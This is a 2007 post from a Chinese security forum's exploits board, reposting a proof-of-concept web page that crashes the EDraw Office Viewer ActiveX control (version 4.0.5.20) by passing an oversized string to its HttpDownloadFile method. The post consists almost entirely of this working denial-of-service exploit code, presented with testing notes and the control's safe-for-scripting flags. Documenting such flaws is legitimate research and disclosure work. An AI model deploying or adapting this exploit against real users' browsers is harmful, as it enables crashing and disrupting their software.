EDraw Office Viewer Component Denial of Service Exploit

ring04h

团队执行官

Rank: 8 Rank: 8

E.S.T核心成员社区主管

帖子: 3921
精华: 128
积分: 209639
阅读权限: 200
性别: 男
在线时间: 1092 小时
注册时间: 2007-10-23
最后登录: 2008-7-9

资料收集奖运营支持奖

发短消息
加为好友
当前离线

楼主大中小发表于 2007-6-12 01:10 只看该作者

EDraw Office Viewer Component Denial of Service Exploit

复制内容到剪贴板

代码:

<pre>

<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/29</b></p></span>

<code><span style="font: 10pt Courier New;"><span class="general1-symbol">---------------------------------------------------------------------------------------------

 <b>EDraw Office Viewer Component (edrawofficeviewer.ocx v. 4.0.5.20) Denial of Service Exploit</b>

 url: [url]http://www.ocxt.com/officeviewer.php[/url]



 author: shinnai

 mail: shinnai[at]autistici[dot]org

 site: [url]http://shinnai.altervista.org[/url]

 

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7

 all software that use this ocx are vulnerable to this exploits.



 This ActiveX is marked as:

 RegKey Safe for Script: True

 RegKey Safe for Init: True

 KillBitSet: False

---------------------------------------------------------------------------------------------



<object classid=&#39;clsid:053AFEBA-D968-435F-B557-19FF76372B1B&#39; id=&#39;test&#39;></object>



<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">



<script language=&#39;vbscript&#39;>

 Sub tryMe

 buff = String(1000, "A")



 test.HttpDownloadFile buff, "Default"



 End Sub

</script>

</span></span>

</code></pre>

TOP

‹‹ 上一主题 | 下一主题 ››

邪恶八进制信息安全团队技术讨论组 » 安全测试代码{ Exploits and Shellcode } » EDraw Office Viewer Component Denial of Service Exploit